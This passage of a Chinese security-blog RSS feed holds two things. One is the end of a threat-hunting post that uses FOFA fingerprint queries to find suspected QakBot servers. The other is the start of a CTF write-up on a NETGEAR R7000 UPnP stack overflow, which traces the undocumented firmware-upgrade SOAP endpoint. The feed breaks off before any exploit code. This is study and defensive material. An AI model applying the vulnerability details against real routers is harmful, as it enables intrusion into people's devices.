8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  结果显示近9W条，这显然证明只通过网页hash颗粒度不够，由于shadon看不了这个IP的JARM指纹，我们通过fofa查看</p><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.32407407407407407" data-s="300,640" style="" data-type="png" data-w="432" src="https://wechat2rss.xlab.app/img-proxy/?k=4d393091&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQXZWbfB54yPS8WnnKmTDpJ9UuHTqzpu4GsOKNwHFV9I0JBa376PovPSQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  尝试通过JARM指纹和网页hash一起查询</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">http.html_hash:501510358  ssl.jarm:&#34;21d14d00021d21d21c42d43d0000007abc6200da92c2a1b69c0a56366cbe21&#34;</code></p><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.487962962962963" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=95941139&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQXKbwo25MRG5hiaiawR87gkqvg6HDAQOUq6kZczicTGJfiaf1mmPe4avSoIQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  共找到了88个结果，这个结果就在可接受的用来优化的范围内了，但还是要注意下其他的特征</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">例如我们的原IP banner信息：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">HTTP/1.1 200 OK<br/>Content-Length: 4833<br/>Server: nginx/1.9.12</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  可以看到首页的数据基本都相符，那么我们就暂时以这88个数据为基础再提取其他的特征，通过聚合查看其他特征</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  其中对于<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">http.headers_hash</code>只存在一个值<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">-1219739159</code></p><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.21296296296296297" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d21610c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQX4C6womHEeXgribMY5qvyGYut67p6CP26Fo0l1oyyOad1ic2lhPMbDEGA%2F640%3Fwx_fmt%3Dpng"/></p></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  此时只有一个特征的值就可以拿来进行下一步操作，我们通过<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">html_hash</code>和<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">headers_hash</code>反查JARM</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">http.html_hash:501510358 http.headers_hash:-1219739159</code></p><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.27314814814814814" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ed70a9c1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQX2t2ns1L4ByfM8oE8Z4YYdRaCyT0H1M0UPic6SPjx8DXUJ8aMN1UliatA%2F640%3Fwx_fmt%3Dpng"/></p></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  除了我们开头提取的<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">21d</code>这个JARM，还获取到了一个有一定数量的<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">04d</code></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  将JARM筛选也加上</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">http.html_hash:501510358 http.headers_hash:-1219739159 ssl.jarm:&#34;04d02d00004d04d04c04d02d04d04d9674c6b4e623ae36cc2d998e99e2262e&#34;</code></p><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.487962962962963" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=be8655cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQXwNv4iafsWoBRiaNHheF8wQYqFnxC1AkrlSMD335rTBzwGntn4TKJwtAQ%2F640%3Fwx_fmt%3Dpng"/></p></figure><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2111111111111111" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=83ea1711&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQXWz2cvTW8PSzODD5BoUyv6hWqax7ke2VxxkU0wePic6umte5kN5NfKaQ%2F640%3Fwx_fmt%3Dpng"/></p></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  惊喜来了，这些IP的banner全部符合之前IP的情况，端口也都是统一的443，所以我们可以认为这些IP也是疑似QakBot</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  那么这时候我们就可以把JARM的条件<span style="letter-spacing: 0.1em;">去掉，只用</span><span style="letter-spacing: 1.4px;color: rgb(221, 17, 68);font-family: monospace;font-size: 12.6px;white-space: pre-wrap;background-color: rgba(27, 31, 35, 0.05);">http.html_hash:501510358 http.headers_hash:-1219739159</span></p><figure style="font-size: 14px;letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.487962962962963" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=94d8eec8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbgibbQoBe7dwzFFKztIweQX6k8tbbBRib9nzx6KiaDib7F0uYgz2WoG1odsJbveykEYRz6icH6cpsekXA%2F640%3Fwx_fmt%3Dpng"/></p></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  可以看到从1个IP拓线出了110个疑似QakBot的IP</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  剩下的那个IP就留给师傅们去尝试</p><h2 style="letter-spacing: normal;white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">结语</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  笔者最近从事Hunting和情报相关工作，做简单的抛砖引玉，希望各位师傅不吝赐教！期待与各位师傅一起进步！</p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485926">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9cfdfc38&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NzczOTA3OQ%3D%3D%26mid%3D2247485926%26idx%3D1%26sn%3Df9588865b7a129eb02b247b99d647840%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 24 May 2023 10:12:00 +0800</pubDate>
    </item>
    <item>
      <title>西湖论剑-Upnp WriteUp</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NzczOTA3OQ==&amp;mid=2247485892&amp;idx=1&amp;sn=ba9891fbfd63ffb60fffd873c7753503</link>
      <description>这次应该是以一个NETGEAR R7000路由器的nDay为基础出的题</description>
      <content:encoded><![CDATA[<p>
原创 <span>邛笼石影</span> <span>2023-04-19 11:49</span> <span style="display: inline-block;">北京</span>
</p>

<p>这次应该是以一个NETGEAR R7000路由器的nDay为基础出的题</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=27955d23&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FLxlshmzkAkbQFy1Nicb49x7IZnV4SUkSWGKcR5CWiaUuhA4vxraoBz45MzDl9Hianta7ZwXyZ4gKJGO1GtZniabFpw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.32" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=33786dee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkb1yDnVcgIlvd3KG3vX76egiaDfKT3XbKmjGJjIa3foicznOnreTcvrRwtccfNAZ4I8TuibyIuNnkiatQ%2F640%3Fwx_fmt%3Dpng"/></p><h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin-right: auto;margin-bottom: 1em;margin-left: auto;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);"><span style="font-size: 1.2em;">前言</span><br/></h1><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  这次应该是以一个NETGEAR R7000路由器的nDay为基础出的题，当时还在想是不是要挖上面的UPnP的0Day，没有意识到需要进行信息收集找相关漏洞分析。后面放出提示才意识到思路错了，在<span style="line-height: 1.75;color: rgb(87, 107, 149);">No Hardware, No Problem: Emulation and Exploitation (grimm-co.com)</span>中所提到的漏洞就是这次题目的目标</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  后面自己又仔细看了看UPnP的协议，再来复现这个题目</p><h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">漏洞定位</h1><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  通过提示<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">SOAP firmware upgrade checking ... 附近</code>和文章提到的漏洞位置，在upnp服务端的固件更新逻辑部分出现了溢出，后面也是通过字符串索引定位到了溢出位置：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.22592592592592592" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b339cb50&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbQFy1Nicb49x7IZnV4SUkSWmPwrPMys5Cy3QBp8gHYeQNMELz2PJoXPzGTLw7f7YNZJrF6ZibFhVIA%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  在进行memcpy时没有对大小v9进行限制，而v9是通过传入的固件中的数据所计算出来的，即v9可控那么这里就会造成栈溢出；这个漏洞很简单但是问题来了：这个UPnP功能定义在哪？怎么触发？(即逆向回溯)</p><h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">逆向</h1><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  根据一般的UPnP协议，其提供的服务都会在.XML文件中写明，但是在www文件加下搜索<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">firmware update</code>相关字符串毫无结果。所以这个固件更新功能是内部API，也许其用法写在开发文档中，<strong style="line-height: 1.75;color: rgb(255, 118, 118);">那么只能逆出调用该API的UPnP数据包格式</strong>。虽然是个内部API但是估计也是基于UPnP control包的格式开发的：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.37886340977068794" data-s="300,640" style="" data-type="png" data-w="1003" src="https://wechat2rss.xlab.app/img-proxy/?k=4aa3a4c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbQFy1Nicb49x7IZnV4SUkSWfib76ALLmlaV26o2Qia90q39zyBvAK4iaO15Flrs2KkP7iblUZvsD5gTXg%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  那么对<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">SOAPACTION</code>交叉索引定位到如下函数：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5353107344632768" data-s="300,640" style="" data-type="png" data-w="708" src="https://wechat2rss.xlab.app/img-proxy/?k=6c46db88&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbQFy1Nicb49x7IZnV4SUkSWc9hvSxyjBOMiapUOFE9vGjr2K1quBHticHTWHbrQvzlbsNwRTN3xzWFA%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  显然这是用来对http包中的SOAPACTION定位的，那么继续查看调用该函数的地方(<strong style="line-height: 1.75;color: rgb(255, 118, 118);">对于不同URL提供不同服务，很有可能存在一个集中处理URL的位置</strong>)：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4735135135135135" data-s="300,640" style="" data-type="png" data-w="925" src="https://wechat2rss.xlab.app/img-proxy/?k=3db28194&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbQFy1Nicb49x7IZnV4SUkSWenqLNick4BsvrgUQUmzQJW2tyibntIkYfSO4TPUSlA5fEDuIRkUZD5vg%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  前面几个<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Public_UPNP_Cx</code>是有对应XML描述文件的，但是<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">soap/server_sa</code>和<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">soap/server_sa/opendns</code>这两个URL是没有任何描述文件的，所以估计在<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">sub_41900</code>中实现了内部API，经过动调分析其函数签名为：<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">sub_41900(int http, int int_fd, in_addr_t in_addr, int pass)</code>，http指向客户发送的http数据，int_fd则是交互socket，in_addr为客户ip，pass暂未分析出来。下面分析该函数中重点部分</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">服务遍历</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei 